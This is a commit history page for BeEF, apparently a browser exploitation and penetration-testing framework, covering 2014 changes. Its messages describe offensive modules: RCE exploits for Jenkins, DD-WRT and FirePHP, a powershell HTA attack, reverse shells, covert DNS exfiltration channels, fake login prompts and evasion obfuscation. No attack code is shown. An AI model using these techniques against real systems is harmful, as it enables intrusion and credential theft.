Compare commits

..

547 Commits

Author SHA1 Message Date
Wade Alcorn
2fbca61368 Updated copyright dates 2014-12-30 07:44:58 +10:00
Wade Alcorn
67c06f17b7 Updated version number to 0.4.6.0 2014-12-30 07:30:58 +10:00
Brendan Coles
3944477b29 Add support for Chrome 39 2014-12-26 13:02:12 +00:00
Brendan Coles
617b46527d Add support for Firefox 35 2014-12-26 12:42:17 +00:00
Christian Frichot
74c8dc7bcd Add WebRTC Extension PoC. Disabled by default, for now. See Issue #1082 2014-12-23 15:38:02 +08:00
Brendan Coles
b0cfe3cfdb Merge pull request #1079 from thenaterhood/master
Fix sourcing rvm script as root on Ubuntu 14.04LTS
2014-12-22 00:47:56 +11:00
Michele Orru
d6cbc63da4 Merge pull request #1080 from ovbroslavsky/master
Search over modules
2014-12-18 15:17:31 +01:00
Oleg Broslavsky
a96867b6cd One more fix to module search 2014-12-18 17:52:07 +07:00
Oleg Broslavsky
9268ba9f5e Little code refactoring in module search files 2014-12-18 17:47:08 +07:00
Oleg Broslavsky
294a7cb5c6 Add module search JS to uglifier 2014-12-16 17:47:05 +07:00
Oleg Broslavsky
1c2559fe4a Search panel ui 2014-12-16 17:45:01 +07:00
Nikita Oleksov
b905455e8b Added searching 2014-12-15 23:52:09 +07:00
Nate Levesque
4193709845 Fix sourcing rvm script
Uses the system-wide rvm script if the local (user) one doesn't exist.
2014-12-13 15:46:40 -05:00
Michele Orru
80a9f8ed3b Merge pull request #1078 from kxynos/patch-1
Update command.js
2014-12-10 10:30:09 +01:00
antisnatchor
decdb6c39d Fixed bind_powershell to work in NAT-like envs where beef.http.public is used. 2014-12-10 10:21:46 +01:00
Kosta Xynos
352b7cd07f Update command.js
Uncommented working code, removed static test variable
2014-12-09 12:55:10 +00:00
Brendan Coles
979493c61f Add support for Firefox 34 2014-12-09 00:27:04 +00:00
Brendan Coles
63c2485e75 Add client debug info and decode html entities 2014-12-06 10:20:44 +00:00
Brendan Coles
614b065115 Merge pull request #1076 from acaulfield/patch-1
Added fingerprint for Jenkins
2014-12-04 17:10:24 +11:00
Brendan Coles
2ff49ecb79 chmod +x 2014-12-04 06:10:05 +00:00
Brendan Coles
46ac92f668 Merge pull request #1069 from tyll/certificate
Add new example certificate
2014-12-04 16:56:45 +11:00
Anthony Caulfield
a1e172ba0a Added fingerprint for Jenkins 2014-12-04 16:48:45 +11:00
Brendan Coles
ec1db7233d Use command_id for iframe name 2014-11-30 15:41:57 +00:00
Brendan Coles
faf1884a4c Load gmail images from HTTPS 2014-11-30 07:25:01 +00:00
Brendan Coles
38fa28658f Update LinkedIn logo 2014-11-30 07:08:54 +00:00
Brendan Coles
9e7f46cb8a Add Jenkins RCE CSRF 2014-11-30 05:36:47 +00:00
Brendan Coles
2785dccdf0 Remove author 2014-11-23 23:03:18 +00:00
Brendan Coles
a99b6173d9 Add author 2014-11-23 22:59:53 +00:00
Brendan Coles
1649b87567 Fix YAML for Ruby 1.9.2 2014-11-23 22:54:03 +00:00
bmantra
029ae3d66d Merge pull request #1073 from bmantra/master
module for IBM iNotes
2014-11-21 21:27:22 +01:00
bmantra
02a1b5b4a0 module for IBM iNotes 2014-11-21 21:25:31 +01:00
Brendan Coles
5fafe02781 Add gitignore.io to .gitignore 2014-11-18 08:14:21 +00:00
Till Maas
62d7a6c598 Add new example certificate
Update the expired certificate with a new one and add a certificate
generation script.
2014-11-12 22:13:24 +01:00
Michele Orru
caebadf158 Merge pull request #1066 from tsu-iscd/master
Added DNS and ETag covert channels
2014-11-08 13:38:02 +01:00
Michele Orru
99f873b19b Merge pull request #1067 from ovbroslavsky/master
OS detection: add support for Windows 8.1
2014-11-08 13:31:20 +01:00
Oleg Broslavsky
9d22c09f9d Add support for Windows 8.1 2014-11-08 19:06:20 +07:00
Denis Kolegov
75cf0a1cdf Update module.rb 2014-11-07 09:07:44 +06:00
Denis Kolegov
8cdb9f990a Update module.rb 2014-11-07 09:06:57 +06:00
Denis Kolegov
c573c5bd46 Update command.js 2014-11-07 09:04:43 +06:00
dnkolegov
debd3bc2c9 Added DNS and ETag covert channels 2014-11-06 03:28:48 -05:00
Brendan Coles
cc0993a2eb Add Shell Shock Scanner module 2014-10-30 00:09:18 +00:00
Brendan Coles
fb5712131e Re-indent 2014-10-29 21:00:10 +00:00
Brendan Coles
8e3c8e4b88 set reverse shell as default command 2014-10-29 18:07:40 +00:00
Brendan Coles
e8f5c0d265 Add HTTP method option 2014-10-29 17:54:10 +00:00
Brendan Coles
53dd7ee5fb rescue StandardError 2014-10-28 08:18:26 +00:00
Brendan Coles
6f1f8cf65c add menu separator and delete icon 2014-10-28 08:14:22 +00:00
bmantra
00b6b42951 Merge pull request #1064 from bmantra/master
delete old zombies via REST api and UI closes #762
2014-10-27 20:29:04 +01:00
bmantra
52f7a9cbca delete old zombies via REST api and UI #762 2014-10-27 20:27:39 +01:00
bmantra
30cfb7002d delete old zombies via REST api and UI #762 2014-10-27 20:17:17 +01:00
Brendan Coles
451ff7d002 Add support for Firefox 33 2014-10-19 05:25:24 +00:00
Brendan Coles
13bcc9bbee Add try/catch to getDefaultBrowser() 2014-10-18 12:54:01 +00:00
Brendan Coles
22a4fdb047 Prefer TLSv1 over SSLv3 2014-10-18 11:47:52 +00:00
Brendan Coles
ee2ebc26b3 Add metasploit extension REST API /msf 2014-10-13 17:34:49 +00:00
antisnatchor
7aec038505 I though PHP was so shit that param names were case-insensitive. I was wrong :-) 2014-10-13 14:37:55 +02:00
antisnatchor
1f6278ca91 Changed array index position for PhishingFrenzyUID entry in restful api call 2014-10-13 13:55:08 +02:00
antisnatchor
610985268c Added support for Chrome 38 2014-10-13 11:57:26 +02:00
antisnatchor
50a9784606 Added PhishingFrenzy integration config option and code 2014-10-13 11:51:25 +02:00
Brendan Coles
01758a12ef Support HTTPS 2014-10-11 16:47:25 +00:00
Brendan Coles
cb7a36e8dc Fix Phonegap_persistence config 2014-10-11 15:36:08 +00:00
Brendan Coles
04b3bee8cf Fix get_hb_details 2014-10-11 05:29:30 +00:00
Brendan Coles
d45c116414 Add support for Safari 8 2014-10-09 13:02:57 +00:00
Brendan Coles
37046464a3 Comment and re-indent 2014-10-09 12:43:40 +00:00
antisnatchor
46ca236c10 Added support for Safari 7. 2014-10-09 13:31:23 +02:00
antisnatchor
18efaf7f52 Adding separate restful api call for offline browsers only (phishing-frenzy integration) 2014-10-09 12:34:10 +02:00
antisnatchor
79947ab6eb Fixed typo coming from last pull request merge preventing hooking to work. 2014-10-09 11:04:55 +02:00
Michele Orru
9b92e0da35 Merge pull request #1059 from richo/ie-checks
Ie checks
2014-10-09 09:55:39 +02:00
Richo Healey
a134e535c2 Add browser.capabilities
This removes some janky IE sniffing, and instead provides the beginning
of a simple place to do capability based checks.
2014-10-08 22:04:22 -07:00
Richo Healey
1e88894c98 Whitespace 2014-10-08 21:54:58 -07:00
antisnatchor
4c945e018e Added geolocation info to PF restufl api call 2014-10-08 11:49:29 +02:00
antisnatchor
cfa8a4ae26 Merge branch 'master' of https://github.com/beefproject/beef 2014-10-07 15:22:14 +02:00
antisnatchor
209a488c77 Added restful api call for phishing-frenzy integration 2014-10-07 15:19:47 +02:00
Brendan Coles
3a9c027ef3 Add msf-exploits.cache to .gitignore 2014-10-06 19:51:59 +00:00
Brendan Coles
411399f4cf Network fingerprinting - throttle connections and clean-up
Part of #854

* Re-indent
* Add new signatures
* Comment-out uncommon signatures
* Add worker queues
* Throttle connections
* Remove scan iframes on timeout
2014-10-06 19:00:00 +00:00
Wade Alcorn
252f58e3b9 Merge pull request #1058 from radoen/master
shell shocked BeEF module
2014-09-29 12:39:30 +10:00
radoen
cd06076d92 fixed accept type 2014-09-28 13:44:05 +02:00
radoen
ff1199ab87 added module for shell shocked 2014-09-28 13:35:28 +02:00
Brendan Coles
9e43f0b68e Add support for Chrome 37 2014-09-28 04:52:32 +00:00
Brendan Coles
4fcc1dc562 Allow DNS lookups on zombie IP addresses 2014-09-28 04:25:20 +00:00
Brendan Coles
22dbc2efbe Merge pull request #1052 from tyll/support_CONNECT
Support HTTPS via CONNECT in proxy extension
2014-09-27 17:14:45 +10:00
Brendan Coles
76ce3babe2 Add demos handler.rb #1044 2014-09-27 05:29:28 +00:00
Brendan Coles
2683c3d587 Merge pull request #1044 from bcoles/demos_erubis
Add Erubis to Demos extension
2014-09-27 13:55:05 +10:00
Brendan Coles
0441868e59 Merge pull request #1054 from tyll/abspath
Support absolute paths for HTTPS key and cert
2014-09-27 11:10:28 +10:00
Till Maas
c35286da59 Support absolute paths for HTTPS key and cert 2014-09-26 11:13:41 +02:00
Brendan Coles
d4736e071f Merge pull request #1051 from tyll/https
Do not assume 80 to be the default port for HTTPS
2014-09-25 05:09:04 +10:00
Till Maas
7e18f6255e Support HTTPS via CONNECT in proxy extension 2014-09-24 16:53:56 +02:00
Till Maas
7c5011ac97 Do not assume 80 to be the default port for HTTPS
The default port for HTTPS is 443, therefore use it and not 80 if no
specific port is set.
2014-09-24 13:04:48 +02:00
Brendan Coles
8653356810 Merge pull request #1045 from evoltech/master
This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (...
2014-09-15 19:50:50 +10:00
Mr. Evoltech
893afe0317 This is needed for BeEF to work on Ubuntu Trusty 64bit ruby-1.9.3-p448 (via rvm) 2014-09-14 16:30:32 -07:00
Brendan Coles
9266cc9e41 Fix Fake Flash module
* Fix bug where UI wasn't hidden onclick
* Gray out browser window on popup
* Re-indent
2014-09-14 16:34:09 +00:00
antisnatchor
85937f7f70 Added sample MS Word and MS Excel documents with macros, to be used with the powershell attack vector. 2014-09-08 15:25:53 +02:00
antisnatchor
ec203935de Simplified HTA-powershell attack module 2014-09-08 14:28:04 +02:00
antisnatchor
bc56be0a7f Added a generic handler for powershell-related attacks. 2014-09-08 14:07:09 +02:00
antisnatchor
c24a8c2ec5 Added @insertscript module to break-out from SiteKiosk 2014-09-07 23:18:41 +02:00
Brendan Coles
a18a74c82a Add support for Firefox 32 2014-09-06 14:09:50 +00:00
Brendan Coles
ee8176b2ba Add software enumeration 2014-09-06 13:25:23 +00:00
Brendan Coles
ccc8a5a02d Add Erubis to Demos extension
Change demo pages to load hook from beef.http.hook_url
instead of '/hook.js'

Fix #1024
2014-09-06 08:21:37 +00:00
Brendan Coles
a40e8ca8de Replace console.error with beef.debug 2014-08-31 02:01:55 +00:00
Brendan Coles
f6eb275f3f Add patch enumeration 2014-08-31 01:59:58 +00:00
Michele Orru
ad95ce8179 Merge pull request #1038 from sgorbaty/master
Phonegap module maintenance
2014-08-22 00:47:00 +02:00
Sergey Gorbaty
23eab81d2a Improved prompt module to include default text supported by Phonegap 2.8 2014-08-21 11:22:19 -07:00
Sergey Gorbaty
9942edc118 Fixing bug when email or phone number is empty 2014-08-21 11:20:48 -07:00
Sergey Gorbaty
8ccc8f8b2e New alert user module 2014-08-21 11:20:19 -07:00
Brendan Coles
1ac84fea9d Merge pull request #1037 from alessio-pascolini/master
Change path of mestaploit for Backbox
2014-08-17 09:18:24 +10:00
alessio-pascolini
d49588b74a Change path of mestaploit for Backbox 2014-08-16 15:28:47 +02:00
bmantra
450753a9bc Merge pull request #1035 from bmantra/master
wordpress malicious plugin => BeEF Bind PHP
2014-07-29 11:30:28 +02:00
bmantra
c8e5260820 wordpress malicious plugin => BeEF Bind PHP 2014-07-29 11:31:25 +02:00
bmantra
0da381c486 Merge pull request #1033 from bmantra/master
add sudo to copy of beefbind
2014-07-19 20:54:30 +02:00
bmantra
e7884381f4 add sudo to copy of beefbind 2014-07-19 20:50:41 +02:00
bmantra
06717b4077 Merge pull request #1032 from bmantra/master
add beef bind metasploit modules to live cd closes #934
2014-07-19 20:12:17 +02:00
bmantra
2d3ac97f5e add beef bind metasploit modules to live cd #934 2014-07-19 19:50:11 +02:00
BWZ
d7e062ea67 LiveCd - removed old script 2014-07-16 19:16:11 +10:00
BWZ
11d63bc6a8 LiveCD - script permission bug fix 2014-07-16 19:16:00 +10:00
antisnatchor
93b053b5a9 Changed default obfuscation techniques for the evasion extension. 2014-07-01 16:10:36 +02:00
antisnatchor
811b490615 Added a new string to be scrambled by default if evasion extension is enabled. 2014-07-01 16:05:48 +02:00
antisnatchor
b16d35232a Improved HTA_powershell module. Now using @mattifestation payload and supporting x86 and x86_64 targets. 2014-07-01 11:58:32 +02:00
antisnatchor
6b93b09c2f #970 Updated DNS tunnel debug module config.yaml description 2014-06-29 13:20:11 +02:00
antisnatchor
d1688395ae #970 Added string to DNS requests to differentiate between normal and data-extrusion DNS requests 2014-06-29 13:04:51 +02:00
antisnatchor
f7df45ebd1 #970 Modified dns.js to support the current way we send data from client to server using DNS. 2014-06-29 12:31:59 +02:00
antisnatchor
2c9633f08f #970 Added debug module to test DNS tunnel (client-to-server). 2014-06-29 12:31:06 +02:00
antisnatchor
015693038a Merge branch 'master' of https://github.com/beefproject/beef 2014-06-29 11:38:34 +02:00
antisnatchor
aafceec4cb Disabled legacy DNS-tunnel IPC module. 2014-06-29 11:37:55 +02:00
Michele Orru
1681f69511 Merge pull request #1027 from soh-cah-toa/master
DD-WRT v24 SP1 CSRF and RCE Modules
2014-06-28 17:20:23 +02:00
antisnatchor
fb0cd7a195 #970 started working on client-to-server DNS channel. 2014-06-28 15:23:50 +02:00
antisnatchor
cf4252585a Added HTA-powershell client-side attack (IE only). 2014-06-27 11:44:39 +02:00
antisnatchor
9f76913b11 Fixed bug that was preventing dynamic payload options to be set with metasploit modules. 2014-06-25 13:27:07 +02:00
soh_cah_toa
f490faa858 Added module for DD-WRT v24 SP1 RCE vulnerability (issue #1006). 2014-06-16 09:56:27 -04:00
soh_cah_toa
fd46915bf2 Added module for DD-WRT v24 SP1 CSRF vulnerability (issue #1006). 2014-06-16 09:48:14 -04:00
soh_cah_toa
ce8e943be7 Merge branch 'master' of git://github.com/beefproject/beef 2014-06-16 09:44:53 -04:00
BWZ
76d750681f livecd fix for permission issues 2014-06-15 18:15:57 +10:00
BWZ
055b5eec32 fixes bug in enabling livecd ssh 2014-06-15 17:14:36 +10:00
Brendan Coles
8e55545abd Add support for Firefox 30 & 31 2014-06-12 09:26:19 +00:00
Michele Orru
a4cbb9f74d Merge pull request #1023 from Nbblrr/master
Fixes the bug in rickroll module (#1017)
2014-06-05 11:04:20 +02:00
Nbblrr
d0fbba2e2d Fixes bug in rickroll module (#1017) 2014-06-05 10:53:20 +02:00
Brendan Coles
32fab589d6 Add Asus RT Series Get Info module 2014-05-20 16:59:40 +00:00
Brendan Coles
dbeedb1d92 Use beef.net for URI 2014-05-10 09:50:38 +00:00
Brendan Coles
195e2ab830 return error message
prevents HTTP 404 iframe for '/lp/indexFF.html'
2014-05-10 19:01:00 +10:00
Christian Frichot
6e50384719 Fake Chrome Evernote Clipper Extension authentication dialog. A new SE module 2014-05-07 19:13:04 +08:00
Christian Frichot
55e36ff095 Detect the presense of Evernotes Clipper Extension in Chrome 2014-05-07 19:11:27 +08:00
Christian Frichot
0ec566ac95 Updates to Fake Lastpass module. New impersonates updated Chrome extension. No longer pretends to target FF 2014-05-07 19:09:07 +08:00
Christian Frichot
f628ce7ae9 Browser Module to remove the BeEF hook.js script element 2014-05-07 18:57:26 +08:00
Michele Orru
8e6125f8c6 Merge pull request #1013 from bcoles/firephp
Add FirePHP <= 0.7.1 RCE module
2014-05-05 14:39:20 +02:00
Brendan Coles
abe1370a50 Add FirePHP <= 0.7.1 RCE module
@Wireghoul

Fixes issue #885
2014-05-05 10:32:59 +00:00
Michele Orru
4c2f80a3bc Merge pull request #1009 from soh-cah-toa/master
DNS Extension 2.0 Reimplementation
2014-05-05 12:11:38 +02:00
Brendan Coles
cd311b00e9 Merge pull request #1011 from thialfihar/make-curl-follow-redirects-on-github
Make curl follow redirects on github @thialfihar
2014-05-05 04:08:58 +10:00
Thialfihar
9068f91a63 Make curl follow redirects on github
GitHub has started to redirect raw.github.com to
raw.githubusercontent.com, breaking the installation scripts.
Paramter -L makes curl follow the redirect.
2014-05-04 13:16:58 +02:00
soh_cah_toa
bac0b5c57f Merge remote-tracking branch 'upstream/master' 2014-05-04 00:28:29 -04:00
soh_cah_toa
07f1594a7a Removed old DNS RESTful API temporary test suite.
Previously, this was used to make writing tests easier without having to
run the entire integration test suite (of which it is still a part of).
Somehow it accidentally got committed.
2014-05-03 20:42:40 -04:00
soh_cah_toa
6bf0f9d648 Updated DNS spoofer in social engineering extension. 2014-05-02 22:21:56 -04:00
Brendan Coles
e8e4180eee Fix regex 2014-05-01 16:36:01 +10:00
Brendan Coles
c61dee7275 Add support for Firefox 29
* https://developer.mozilla.org/en-US/Firefox/Releases/29
* https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt
2014-05-01 02:33:43 +10:00
Michele Orru
5d3df16dc7 Merge pull request #1005 from zeroSteiner/rest-api-version
Support pulling the server version through the REST API
2014-04-29 11:18:24 +02:00
soh_cah_toa
8dac5c95eb Fixed #is_valid_domain? regex to include appended dot. 2014-04-28 22:21:39 -04:00
soh_cah_toa
e1c27f4feb Removed support for TXT resource record.
Like the HINFO and MINFO RR's, TXT is vulnerable to RCE attacks and has
no purpose at the moment. TXT may be needed in the future (e.g. data
exfiltration) which is why it has been removed separately.
2014-04-28 20:34:56 -04:00
soh_cah_toa
26cd0f08ad Removed support for HINFO and MINFO resource records.
These RR's are very difficult to validate and, in their current state,
are vulnerable to RCE attacks. Furthermore, BeEF does not have a use for
these RR's.
2014-04-28 20:28:47 -04:00
soh_cah_toa
c63a55962a Added unless modifier to prevent displaying no upstream servers.
Even though #print_more will display nothing since ''.split("\n").each()
iterates 0 times, it will still be called without this modifier which is
unnecessary.
2014-04-28 20:20:32 -04:00
Kevin Polulak
e8fc288ff7 Merge pull request #2 from bcoles/patch-2
Update model.rb - Throw 'UnknownDnsResourceError'
2014-04-28 20:14:48 -04:00
Kevin Polulak
fc024c8a8c Merge pull request #1 from bcoles/patch-1
use up_protocol in banner
2014-04-28 20:10:22 -04:00
Spencer McIntyre
76c09aa38a Support pulling the server version through the REST API 2014-04-28 15:35:01 -04:00
Christian Frichot
fe14601dfc Added -i --interactive option at commandline to launch console shell 2014-04-27 07:12:53 +08:00
Brendan Coles
e6b74d5186 Update model.rb - Throw 'UnknownDnsResourceError'
Throw `UnknownDnsResourceError` instead of `InvalidDnsResourceError`

Prevents `[20:30:55][!] Internal error while adding DNS rule (uninitialized constant BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError)` for invalid user supplied DNS response types.

'BeEF::Core::Models::Dns::Rule::InvalidDnsResourceError' does not exist, and it's unlikely we'll need to differentiate between invalid and unknown resource types.
2014-04-27 00:14:25 +10:00
Brendan Coles
0438cf422f use up_protocol in banner 2014-04-26 21:50:46 +10:00
soh_cah_toa
3b3d7fe95e Moved Thread/EventMachine creation inside of #run.
This cleans up the API a bit by removing the requirement of placing #run
inside a Thread.new {EventMachine.next_tick {}} block. That should not
be the caller's responsibility.
2014-04-25 13:14:43 -04:00
soh_cah_toa
9b3dfacce1 Added support for upstream nameservers.
Previously, upstream nameservers were configured by default even if the
config file did not specify them. Now upstream nameservers are only
used if they are specified. If none are given, then NXDOMAIN is
returned for unresolvable requests.
2014-04-25 13:06:33 -04:00
soh_cah_toa
82e4b1eac7 Implemented default DNS address/port/protocol values.
Even though it is unlikely that a user would remove these options from
the DNS config file, it is still good practice to have these safeguards
in place.
2014-04-25 10:32:19 -04:00
soh_cah_toa
1d5afbb81e Added Dns::Server attribute to DNS REST router.
This is primarily intended to add clarity by reducing clutter. Moreover,
it also has the side effect of improving performance very slightly by
removing the overhead of calling #instance numerous times.
2014-04-25 10:14:05 -04:00
soh_cah_toa
2e318030da Fixed typo in debug message for #process. 2014-04-25 10:09:38 -04:00
bcoles
34ec20cd0d Update version to 0.4.5.1-alpha 2014-04-25 16:12:25 +09:30
soh_cah_toa
acc6114541 Re-implemented DELETE /rule/:id handler for new API.
Removed old #format_response method since this is now handled by the
Rule model.
2014-04-24 23:35:21 -04:00
soh_cah_toa
32db367ada Refactored ID filter checks into #is_valid_id?.
Added call to #remove_rule! as well.
2014-04-24 23:28:11 -04:00
soh_cah_toa
bca9eccdf0 Implemented GET ruleset, rule, and POST rule handlers.
Many filter checks were removed because the new DNS extension performs
validation before performing any database operation.

Modified message for InvalidParamError to be more modular.
2014-04-24 16:40:19 -04:00
soh_cah_toa
94fc2805d1 Added ID filter checks to #get_rule.
This is ensures that ID validation occurs when using either the Ruby API
or the RESTful API. Previously, validation was only done for the
RESTful API.
2014-04-24 16:36:44 -04:00
soh_cah_toa
7b229a2a20 Added new #validate_pattern method.
Uses BeEF::Filters to ensure that empty, null, and non-printable
patterns are tossed out. Added new InvalidDnsPatternError exception
class to handle these cases.

Renamed #validate_response to #format_callback since the name is more
appropriate.
2014-04-24 14:26:37 -04:00
Brendan Coles
c1a7b1ec08 Use filter 2014-04-25 04:17:17 +10:00
Brendan Coles
9af8e6bd00 Add CPU type filter 2014-04-25 04:16:53 +10:00
Brendan Coles
a317b223ca Update description 2014-04-25 03:52:57 +10:00
soh_cah_toa
ad25c49b2d Refactored IP filters into parameterized #is_valid_ip?.
Using parameterized methods is better structured coding style rather
than defining multiple similarly-behaved methods.

annex_region('crimea') # good
vs.
annex_crimea # bad
2014-04-24 13:11:00 -04:00
bcoles
6fe8772710 Refactor browser component details 2014-04-25 02:11:58 +09:30
Wade Alcorn
94b636c6fd Fixed reference to origin 2014-04-24 19:36:58 +10:00
Wade Alcorn
8dfa674134 Merge branch 'master' of github.com:beefproject/beef 2014-04-24 19:36:10 +10:00
Wade Alcorn
52c2ef45e1 Fixed reference to origin 2014-04-24 14:44:26 +10:00
Christian Frichot
f17569cc35 Chrome Browser detection up to v36 for Desktop and iOS 2014-04-24 11:48:42 +08:00
soh_cah_toa
01ad87250f Removed unnecessary run_server unit tests.
Setting the server address:port is now handled by RubyDNS. Therefore,
verifying this via unit tests is no longer necessary.
2014-04-23 22:02:19 -04:00
soh_cah_toa
820ba3a2e7 Updated interface unit tests with new method names. 2014-04-23 21:50:23 -04:00
soh_cah_toa
3ed4098c2f Added unit test assertions for new config options. 2014-04-23 21:47:45 -04:00
soh_cah_toa
e791fca8a9 Updated #validate_response to use BeEF::Filters. 2014-04-23 18:07:27 -04:00
soh_cah_toa
5d73d7f084 Improved BeEF::Filters support for IPv4 and IPV6.
Changed regex in #is_valid_ip? to be more strict since it previously
would have matched an invalid IP such as 999.999.999.999. Changed its
name to #is_valid_ipv4?.

Added new #is_valid_ipv6? method that validates IPv6 addresses. It is
very comprehensive and will match normal IPv6 addresses, zero
compressed, link-local with zone index, and IPv6 addresses that have
IPv4 embedded, mapped, and translated.

Added new #is_valid_domain? method that validates domain names.
2014-04-23 17:49:41 -04:00
soh_cah_toa
6385ddf85b Changed data type of :callback property to Object.
Using String was sufficient but this way is more consistent.
2014-04-23 16:50:47 -04:00
soh_cah_toa
bd9891dc4d Implemented #validate_response method in Dns::Rule.
Perhaps the ugliest part of the DNS extension, it is also the most
crucial. This method ensures that a given resource and response are
appropriate for each other. It must also prevent RCE vulns since the
input is eval'd later on.

However, HINFO, MINFO, and especially TXT validation is not strict
enough. These three need to be reviewed scrupulously since a 100%
anti-RCE solution may prove to be difficult.
2014-04-23 16:39:26 -04:00
soh_cah_toa
53a54de5fe Added @database to Dns::Server as a model reference. 2014-04-23 16:36:16 -04:00
soh_cah_toa
3029d3cea8 Implemented #process method that handles requests.
The DNS server now searches for matching rules and sends its response
when handling incoming requests. However, all rules are still assigned
the same callback for the moment.
2014-04-23 13:28:34 -04:00
soh_cah_toa
0dd9c193ec Appended ! to #remove_rule and #remove_ruleset.
Adhering to the Ruby convention, this indicates that these methods
mutate the receiver and, therefore, should be considered dangerous.
2014-04-23 12:53:41 -04:00
soh_cah_toa
2303851498 Implemented #remove_ruleset method. 2014-04-23 12:50:42 -04:00
soh_cah_toa
56c686de64 Implemented #get_ruleset method.
Also refactored #get_rule to use new #to_hash helper method since
2014-04-23 12:42:39 -04:00
soh_cah_toa
ed986e4ed5 Implemented #remove_rule method. 2014-04-23 12:07:59 -04:00
soh_cah_toa
b345da0203 Implemented #get_rule method. 2014-04-23 12:00:23 -04:00
soh_cah_toa
007f6302df Re-implemented #generate_id in Core::Main::Crypto.
This is a better home for it since that is where other OpenSSL
crypto/token generator methods reside.
2014-04-23 11:41:11 -04:00
soh_cah_toa
861d66207d Implemented new Rule model and #add_rule method. 2014-04-23 11:27:49 -04:00
soh_cah_toa
8c4ece815e Removed obsolete Sourcify reference in loader.rb. 2014-04-23 11:19:17 -04:00
soh_cah_toa
7386a7708b Changed Dns::Server to use RubyDNS 0.7.x API.
At this point, it is just a prototype that resolves any request to
1.1.1.1.
2014-04-23 11:14:35 -04:00
soh_cah_toa
f4d3858af6 Removed unneeded files in ruby/ subdirectory.
Changed Logger overrides to disable logging instead of using BeEF's
print_* methods. RubyDNS logging is too verbose. The DNS extension will
perform debug logging on its own.
2014-04-22 22:56:21 -04:00
soh_cah_toa
d4ba3ec98c Re-enabled DNS extension in config files. 2014-04-22 22:50:31 -04:00
soh_cah_toa
0f7f86e0f3 Changed Gemfile to use RubyDNS 0.7.0.
Also removed Sourcify since it's no longer needed.
2014-04-22 22:46:38 -04:00
Brendan Coles
82e09e88ff Merge pull request #999 from bcoles/nginx
Add nginx imitation
2014-04-23 00:16:23 +10:00
bcoles
2ee9fb6ccc Add nginx imitation 2014-04-22 22:49:21 +09:30
Brendan Coles
d0cdb9ec90 Update config.yaml
Edit comments for consistency.
2014-04-22 21:05:05 +10:00
Brendan Coles
ed5a11479a Merge pull request #998 from bcoles/geoip
Add support for MaxMind GeoIP
2014-04-22 02:31:54 +10:00
bcoles
4529dd1a6c Add support for MaxMind GeoIP 2014-04-22 00:58:49 +09:30
Brendan Coles
a131e670bc Merge pull request #995 from bcoles/update_print
Update print methods
2014-04-20 20:20:18 +10:00
Brendan Coles
17f265cb83 module.rb minor code cleanup 2014-04-20 20:12:33 +10:00
bcoles
354c3f1af0 Downgrade error to warning 2014-04-20 18:52:14 +09:30
bcoles
7689af8e2c Add print_warning, print_good and print_status 2014-04-20 17:24:25 +09:30
Brendan Coles
691ae19426 Update Gemfile
Add comments

Add gems for MySQL/PostgreSQL (commented out)

Add Twitter gem dependency (commented out)
2014-04-17 13:40:59 +10:00
antisnatchor
f2c83ced4d Merge remote-tracking branch 'origin/master' 2014-04-14 11:48:23 +02:00
antisnatchor
940b03e249 Removed twitter dependency from Gemfile as it's causing depenedencies issues sometimes, and the twitter notification feature isn't that used anyway. 2014-04-14 11:46:42 +02:00
Michele Orru
78a0c689be Merge pull request #992 from RootPrivileges/windows-pretty-theft
Add a Windows prompt to the pretty_theft module
2014-04-14 11:41:16 +02:00
RootPrivileges
5ddb88db73 Add a Windows prompt to the pretty_theft module 2014-04-14 10:23:30 +01:00
Brendan Coles
f526f39f10 Warn about Heartbleed if opemnssl is vulnerable
Warn user if the OpenSSL library is vulnerable to Heartbleed and HTTPS is enabled.

Part of #990
2014-04-13 03:33:32 +10:00
Brendan Coles
5d1d519fc2 unless proxy_clients.empty?
replace `unless proxy_clients.nil?` with `unless proxy_clients.empty?`
2014-04-13 02:31:52 +10:00
Brendan Coles
d9fd2b994e Add browser proxy details to browser summary 2014-04-13 02:29:09 +10:00
Brendan Coles
dde007ce86 Merge pull request #987 from ecneladis/master
Adding module for getting battery status
2014-03-25 21:25:57 +11:00
ecneladis
6044de5604 Adding module for getting battery status 2014-03-24 12:46:43 +01:00
Michele Orru
4e3f0366bf Merge pull request #986 from koto/master
Added payloads for Chrome extensions injector
2014-03-22 15:39:27 +01:00
antisnatchor
2cf4e7e055 Re-added csrf_to_beef tool (removed for mistake, sorry) 2014-03-22 15:31:55 +01:00
Krzysztof Kotowicz
3947bac044 added payloads 2014-03-22 11:28:27 +01:00
Brendan Coles
99c251610d Merge pull request #985 from veshi/master
trivial: fix some misspelled words.
2014-03-20 17:26:25 +11:00
Adrian Kalaveshi
e139ad121e trivial: fix some misspelled words. 2014-03-19 17:06:56 -07:00
Michele Orru
0664ce688e Merge pull request #984 from bcoles/getDefaultBrowser
Add 'beef.os.getDefaultBrowser'
2014-03-19 17:20:32 +00:00
bcoles
7d6eb4b714 Add 'beef.os.getDefaultBrowser' 2014-03-20 02:49:08 +10:30
bcoles
97898d453c Moved Detect Default Browser module to Host category 2014-03-20 00:58:16 +10:30
bcoles
fab0bf6b24 Add Detect HP module 2014-03-20 00:52:25 +10:30
bcoles
4a603b9f00 Add IE10 resource URL browser fingerprint 2014-03-19 23:49:21 +10:30
bcoles
73c42f34f6 Add support for Firefox 28 2014-03-19 11:02:25 +10:30
Michele Orru
ca13af9f4e Merge pull request #983 from koto/se-talk
Added new files, readme and contact info to chrome extensions exploits
2014-03-18 12:01:08 +00:00
Krzysztof Kotowicz
2105121c93 added new files, readme and contact info 2014-03-18 12:56:57 +01:00
antisnatchor
98ca29e51e Moved xsrf_to_beef in its own dir. 2014-03-16 15:48:39 +00:00
antisnatchor
4db376f11c Merge branch 'master' of https://github.com/beefproject/beef 2014-03-16 15:47:16 +00:00
antisnatchor
df4ec41538 Added Chrome Extension exploitation tools from me and Kkotowicz. 2014-03-16 15:45:16 +00:00
bcoles
ee1e29341e Move firefox extension modules to social engineering directory 2014-03-16 18:18:18 +10:30
Brendan Coles
7a8115211d Merge pull request #981 from beefproject/MSF-Target-Browsers
Added support for target browser detection for MSF modules #530
2014-03-16 13:39:03 +11:00
antisnatchor
05979af3a2 Treating IE9 and 10 as the same for the ui_abuse_ie attack 2014-03-14 13:22:16 +00:00
antisnatchor
